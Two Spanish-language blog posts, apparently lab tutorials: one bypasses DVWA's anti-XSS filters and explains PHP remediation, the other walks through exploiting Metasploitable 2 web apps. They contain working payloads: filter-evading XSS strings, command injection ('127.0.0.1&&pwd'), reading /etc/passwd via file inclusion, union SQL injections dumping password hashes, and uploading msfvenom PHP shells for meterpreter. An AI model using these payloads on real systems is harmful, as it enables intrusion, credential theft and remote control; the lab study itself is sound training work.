PoC: Evitando filtros anti-XSS

Buenas compañeros,

Esta entrada se va a centrar en cómo evitar filtros para evitar ataques XSS (Cross Site Scripting).

Para ello, se va a tomar como plataforma de pruebas DVWA, ya sabéis para no meterse en líos

Como ya sabéis para instalar DVWA, os montáis la máquina virtual y le metéis la iso de DVWA (https://github.com/nightmare-rg/dvwa-vagrant/tree/master/dvwa-1.0.8)

Vamos a ello!

Seleccionando la opción de XSS reflected y ajustando el nivel de dificultad, tenemos todo listo para empezar:

Nivel low

En el nivel "low" el servidor web no aplica ningún tipo de validación de los parámetros de entrada por lo que introduciendo la típica cadena

<script>alert("XSS")</script> 

visualizamos el alert verificando que es vulnerable.

Una vez que se ha visto que es vulnerable, se examina el código que como se dedujo, no existe ningún mecanismo de validación de entrada:

Recomendaciones:

Para evitar todo tipo de inyección nunca se debe confiar de datos o fuentes externas y validar todo sin suponer nada, por ejemplo, que los datos esperados son los que el usuario va a introducir.

Para ello, se debe validar todos los datos de entrada, escapar o filtrar los datos no permitidos y opcionalmente sanearlos. Sin embargo, el saneamiento de datos es opcional puesto si la aplicación recibe datos que no debería podría rechazarlos y enviar un mensaje de error para que el usuario los introduzca correctamente para ser aceptados.

En este caso, en PHP se tiene una función para filtrar etiquetas no permitidas como /, <, </, script,…. Esta función es script_tags

Otra función útil para escapar los datos de entrada  antes de ser mostrados cuando el código de entrada esperado es HTML es htmlspecialchars.

Del mismo modo, se debería emplear la función trim que elimina caracteres especiales de inicio o final de la cadena sustituyéndolo por espacios en blanco. Por ejemplo, elimina \t\n\r\0/


Nivel medium

Introduciendo el mismo código, ya no se ejecuta, por lo tanto, se puede deducir que se están aplicando mecanismos de validación de los parámetros de entrada.

Por lo tanto, para detectar que keywords está se realiza una batería de pruebas para identificar los posibles parámetros "prohibidos" para de esta manera, poder evitarlos.

Entrada	Salida
script	Hello script
<script>	hello
script>	Hello script> -- Este es bueno!
<script	hello
<<script>>	Hello <> -- Filtra keyword script

Como se observa está filtrando el keyworsd "<script>". Sin embargo, sabiendo que:

<<script>    devuelve    <

    script>       devuelve    <

Ya tenemos la formula de evitar el filtro:

<<script>script>alert("XSS medium")</script>

Análogamente a la reconstrucción del tag de script en función del filtrado, se podría incluir construir el tag de script en partes:

<scr>script>ipt>alert(“XSS DVWA”);</script>

Del mismo modo, a la reconstrucción del tag de script en función del filtrado, se podría incluir espacios en blanco en los < > para saltarse la restricción y ver si el servidor interpreta dicho código y lo ejecuta.

<<script>script>alert(“XSS medium”);</script >

De ahí el fallo que reemplaza justamente esa palabra exacta. Por lo tanto, introduciendo el código:

<script type="text/javascript">alert("XSS medium")</script>

No detecta la cadena <script> exacta y se lo “traga”

Otro intento típico es emplear los tag de script en mayúsculas para verificar si el servidor realiza algún tipo de saneamiento, esto es, una conversión de lso valores introducidos ya sean mayúsculas o minúsculas para su posterior tratamiento y gestión:

<SCRIPT>alert("XSS medium");</SCRIPT>

Una vez vulnerado se mira el código fuente para ver que función emplean para determinar cómo se podría mejorar. 

Observando el código fuente, se aprecia que se está empleando la función str_replace para reemplazar la keyword “<script>” por un espacio en blanco.

Adicionalmente, es más que recomendable revisar el documento de OWASP para explotar XSS (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet).

Espero que os haya gustado :D

Para cualquier cosa, escribir un comentario y estaré encantado de responder.

Saludos.

NaxHack5

"La mejor defensa es un buen ataque"

Guia Metasploitable 2: Parte 2

Continuamos con la segunda parte de la guía de Metasploitable 2. En esta entrega vamos a explotar el puerto 80, en el que vamos a encontrar varias aplicaciones web vulnerables. Esto es lo que nos aparece al entrar.

TWIKI

La primera aplicación que aparece es Twiki. Se trata de un gestor de contenidos tipo wiki, escrito en Perl y con licencia GPL. Soporta extensiones para acceso a base de datos, diagramas, hojas de calculo, seguimiento de proyectos y muchas otras posibilidades.

Éste tiene una vulnerabilidad que podemos explotar con Metasploit.

Configuración exploit

Shell obtenida

Obtendremos una shell sin privilegios. Para escalar privilegios utilizaremos el mismo exploit que usamos en el puerto 22 (SSH), en la primera parte de ésta guía.


DVWA

Esta aplicación web dispone de varios fallos de seguridad como pueden ser SQL Injection, ejecucion de comandos, File Inclusion, etc.

Al entrar vemos un login, el user es "admin" y la pass "password".

Una vez dentro, lo primero que haremos es pinchar en Setup y Create/Reset Database, para crear la base de datos.

Lo siguiente es cambiar el nivel de seguridad, entramos en DVWA Security y lo cambiamos a Low, pinchamos en Submit.

Ya estamos listos para empezar a probar las vulnerabilidades.


Command Execution

Nos aparece una pantalla en la que podemos hacer un ping a la IP indicada. Pero además podemos ejecutar mas comandos con la siguiente  sintaxis: IP&&COMANDO.

Ejemplo: 127.0.0.1&&pwd

En la captura vemos como responde al ping y al comando pwd. Ahora ya depende de nuestra imaginación y los permisos que tengamos.


Cross Site Request Forgery (CSRF)

Esto es un ejemplo de una mala implementación del cambio de contraseña en una aplicación web.

• Utiliza http en vez de https, por lo que va en texto plano.
• Un atacante puede usar la URL para cambiar la contraseña-

Al entrar nos encontramos con esta pantalla.

Escribimos una contraseña y pulsamos Change.

Si nos fijamos en la URL, vemos  como aparece la nueva contraseña.

Ahora vamos a cambiar la contraseña desde la URL y actualizamos la página.

Nos aparece el mensaje Password Changed y en la URL la nueva contraseña establecida. Si salimos de DVWA y nos logueamos otra vez con la nueva contraseña, comprobareis que efectivamente funciona.


File Inclusion

Mediante esta vulnerabilidad podemos ver ciertos archivos del sistema como puede ser passwd, phpinfo, ftpusers, etc. Incluso podemos ejecutar un archivo que hayamos subido previamente como un backdoor.

En la web nos dice que modifiquemos una parte de la url para explotar la vulnerabilidad.

page=/etc/passwd

page=/var/www/phpinfo.php

Para el siguiente ejemplo, vamos a crear un backdoor con msfvenom.

Lo metemos en la máquina Metasploitable 2 de la forma que mas nos guste.

A continuación ponemos a la escucha en Kali el multi/handler para recibir la conexión.

Y por último, ejecutamos nuestro archivo introduciendo la ruta donde lo hayamos guardado. En mi caso lo he puesto en la carpeta /tmp.

Aquí tenemos la shell meterpreter, ya solo tendríamos que escalar privilegios mediante algún exploit.

SQL Injection

Es el turno del famoso SQL Injection. No voy a entrar en muchos detalles sobre el funcionamiento del mismo, para ello visita este enlace.

Para empezar introducimos el comando básico: 

' or ' 1=1 

La respuesta de la web es los nombres de usuario.

Para ver el nombre de usuario de la base de datos introducimos:

' or 0=0 union select null, user() # 

Usuario db: root

Para el nombre de la base de datos:  

' or 0=0 union select null, database() # 

 Nombre db: dvwa 

Buscaremos en las tablas de la base de datos information_schema (esta base de datos es donde se guarda la información sobre las db que el servidor MySQL maneja), las tablas que contengan la palabra user en su nombre. Para ello usamos el siguiente comando:

' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%' # 

Tabla: users 

Una vez sabemos el nombre de la tabla en cuestión, mostramos el nombre de las columnas:

' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' # 

 Columnas db users 

Por último, mostramos la información de las columnas que nos interesan:

' and 1=0 union select null, concat(user,0x0a,password) from users # 

Con los usuarios y sus respectivos hashes podemos obtener las contraseñas con John the Ripper u otra aplicacion de crackeo de hashes. 

 Usuarios y contraseñas 

Upload

Mediante esta vulnerabilidad podemos subir un archivo al servidor para posteriormente ejecutarlo por ejemplo, con lo que ello conlleva.

He creado, mediante msfvenom, un archivo php que devolverá una shell meterpreter. Buscamos el archivo y lo subimos.

Path del archivo 

Una vez subido, lo ejecutamos desde la URL.

Con msfconsole y multi/handler escuchando, obtendremos la shell.

Cross-Site Scripting (XSS)

XSS permite a un atacante inyectar código en la web evitando las medidas de control, permitiéndole robar información sensible, secuestrar sesiones de usuario, etc.

El ejemplo básico para comprobar la vulnerabilidad es el siguiente:

<script>alert("¡¡FWHIBBIT!!")</script>

 Nos aparecerá el siguiente mensaje:

Otro de los usos que se le puede dar es utilizar un iframe para mostrar otra web por encima de la original. Con ésta técnica podemos engañar a un usuario para que piense que se trata de la web original cuando en realidad no lo es, obteniendo así sus credenciales.

Iframe con web indicada 

Para obtener la cookie de la sesion introducimos :

<script>alert(document.cookie)</script> 

 

Mediante XSS podemos incluso ejecutar un archivo php (como el usado en la parte de Upload).

<script>window.location="http://192.168.0.195/dvwa/hackable/uploads/hack.php"</script> 

 Teniendo multi/handler a la escucha, tendremos una shell meterpreter.

Hasta aquí la entrada de hoy, espero que os haya gustado. Recordar que esto es con fines educativos y en ningún momento debe utilizarse para malos fines.